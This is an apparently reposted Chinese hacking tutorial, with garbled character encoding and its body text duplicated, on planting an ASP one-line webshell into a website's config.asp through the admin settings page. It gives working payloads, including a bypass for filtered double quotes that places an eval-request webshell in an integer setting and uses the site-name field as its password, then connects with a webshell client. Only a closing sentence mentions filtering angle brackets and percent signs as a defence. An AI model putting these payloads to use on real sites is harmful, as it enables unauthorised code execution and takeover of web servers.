淺說(shuō)雙引號(hào)被過(guò)濾時(shí)一句話的插入與防范
發(fā)布時(shí)間:2011-04-01 23:40:07 作者:佚名
我要評(píng)論
昨日小刀刀在群里拋了一個(gè)問(wèn)題,說(shuō)后臺(tái)插入一句話老是出錯(cuò),群里的朋友出了很多主意,但是最后還是沒(méi)搞定。后來(lái)這小子把問(wèn)題拋給了我,昨天我就測(cè)試了一下。這里把情況介紹給大家。
一般而言,后臺(tái)插一句話,如果數(shù)據(jù)庫(kù)擴(kuò)展名是asp的話,那么插數(shù)據(jù)庫(kù),但是如果有配置文件可以插的話,那肯定是插入配置文件了,但是插入配置文件有一個(gè)很大的風(fēng)險(xiǎn),那就是一旦出錯(cuò)那么全盤(pán)皆輸,有可能不僅僅造成后臺(tái)無(wú)法登陸,甚至有可能是整個(gè)網(wǎng)站系統(tǒng)崩潰,所以插入配置文件,請(qǐng)慎之又慎。
話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個(gè)文件的一般情況。
網(wǎng)站的配置一般是保存網(wǎng)站名,地址,email之類(lèi)的,既然是字符,那么格式應(yīng)當(dāng)是
webname=“test website”
對(duì)于這樣的配置插入一句話的話,我們的機(jī)會(huì)就是替換test website,那么需要閉合2個(gè)",同時(shí)要插入一句話,語(yǔ)句可以這樣
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一個(gè)"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來(lái)的"和%>
所以加入<%s=",這里特別要注意“s=”,如果沒(méi)有這個(gè)等號(hào)的話,那么就會(huì)成<%" ",這樣必將出錯(cuò)。
好了,這是常規(guī)的辦法,現(xiàn)在我們回到開(kāi)始那個(gè)問(wèn)題,按照前面的方法插入

插入后,我們?cè)冱c(diǎn)擊“網(wǎng)站設(shè)置” ,出現(xiàn)錯(cuò)誤

從這個(gè)錯(cuò)誤,我們可以得到2個(gè)信息。
第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp
第二,網(wǎng)站名的變量為webname。
昨天由于很晚了,就沒(méi)繼續(xù)看,今天出差,晚上回來(lái)剛剛上Q,小刀刀就q我,說(shuō)拿下了,并說(shuō)這個(gè)后臺(tái)過(guò)濾了雙引號(hào)",結(jié)合昨天的錯(cuò)誤一看果然是,由于我們閉合前面雙引號(hào)起"的那個(gè)雙引號(hào)收"被過(guò)濾成單引號(hào)',所以就成了webname=" ',這樣的話那么這個(gè)雙引號(hào)沒(méi)有閉合,由于雙引號(hào)是vbscript的控制符,沒(méi)有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號(hào)被過(guò)濾了的情況改怎么辦呢。
由于插入一句話必須要用雙引號(hào)括起來(lái),而輸入雙引號(hào)又被過(guò)濾,所以我們可以利用他們自身的雙引號(hào)來(lái)解決。
在配置文件中,我們還可以看到這樣一些設(shè)置

就是配置網(wǎng)站的公告數(shù) ,文章數(shù)等。可以假設(shè)一下,他必然是整數(shù)賦值,沒(méi)有雙引號(hào)包括
num=5
num是整數(shù)型,不然就成字符了num="5"
那么我們的一句話就可以這樣構(gòu)建,如圖

在公告數(shù)中我們插入5%><%eval request(webname)%><%
必須要有5,不然將會(huì)出錯(cuò),在網(wǎng)站名中我們插入"open"
由于我們沒(méi)有輸入雙引號(hào),不存在過(guò)濾,我們利用 配置文件本身的雙引號(hào)來(lái)達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我們的一句話就相應(yīng)為
eval request("open"),open為密碼。
用菜刀成功連接

從上可見(jiàn),我們成功利用配置文件本身避開(kāi)了一句話中雙引號(hào)被過(guò)濾的問(wèn)題。
那么在網(wǎng)頁(yè)設(shè)計(jì)方面,我們可以增加過(guò)濾<,%,>或者組合<%,%>這些特殊符號(hào),禁止這些符號(hào)的輸入,那么將大大增加網(wǎng)頁(yè)安全。
by daokers 2010.4.28深夜于Canton
話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個(gè)文件的一般情況。
網(wǎng)站的配置一般是保存網(wǎng)站名,地址,email之類(lèi)的,既然是字符,那么格式應(yīng)當(dāng)是
webname=“test website”
對(duì)于這樣的配置插入一句話的話,我們的機(jī)會(huì)就是替換test website,那么需要閉合2個(gè)",同時(shí)要插入一句話,語(yǔ)句可以這樣
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一個(gè)"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來(lái)的"和%>
所以加入<%s=",這里特別要注意“s=”,如果沒(méi)有這個(gè)等號(hào)的話,那么就會(huì)成<%" ",這樣必將出錯(cuò)。
好了,這是常規(guī)的辦法,現(xiàn)在我們回到開(kāi)始那個(gè)問(wèn)題,按照前面的方法插入

插入后,我們?cè)冱c(diǎn)擊“網(wǎng)站設(shè)置” ,出現(xiàn)錯(cuò)誤

從這個(gè)錯(cuò)誤,我們可以得到2個(gè)信息。
第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp
第二,網(wǎng)站名的變量為webname。
昨天由于很晚了,就沒(méi)繼續(xù)看,今天出差,晚上回來(lái)剛剛上Q,小刀刀就q我,說(shuō)拿下了,并說(shuō)這個(gè)后臺(tái)過(guò)濾了雙引號(hào)",結(jié)合昨天的錯(cuò)誤一看果然是,由于我們閉合前面雙引號(hào)起"的那個(gè)雙引號(hào)收"被過(guò)濾成單引號(hào)',所以就成了webname=" ',這樣的話那么這個(gè)雙引號(hào)沒(méi)有閉合,由于雙引號(hào)是vbscript的控制符,沒(méi)有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號(hào)被過(guò)濾了的情況改怎么辦呢。
由于插入一句話必須要用雙引號(hào)括起來(lái),而輸入雙引號(hào)又被過(guò)濾,所以我們可以利用他們自身的雙引號(hào)來(lái)解決。
在配置文件中,我們還可以看到這樣一些設(shè)置

就是配置網(wǎng)站的公告數(shù) ,文章數(shù)等。可以假設(shè)一下,他必然是整數(shù)賦值,沒(méi)有雙引號(hào)包括
num=5
num是整數(shù)型,不然就成字符了num="5"
那么我們的一句話就可以這樣構(gòu)建,如圖

在公告數(shù)中我們插入5%><%eval request(webname)%><%
必須要有5,不然將會(huì)出錯(cuò),在網(wǎng)站名中我們插入"open"
由于我們沒(méi)有輸入雙引號(hào),不存在過(guò)濾,我們利用 配置文件本身的雙引號(hào)來(lái)達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我們的一句話就相應(yīng)為
eval request("open"),open為密碼。
用菜刀成功連接

從上可見(jiàn),我們成功利用配置文件本身避開(kāi)了一句話中雙引號(hào)被過(guò)濾的問(wèn)題。
那么在網(wǎng)頁(yè)設(shè)計(jì)方面,我們可以增加過(guò)濾<,%,>或者組合<%,%>這些特殊符號(hào),禁止這些符號(hào)的輸入,那么將大大增加網(wǎng)頁(yè)安全。
by daokers 2010.4.28深夜于Canton
相關(guān)文章

thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫(xiě)程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類(lèi)2016-12-27Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08


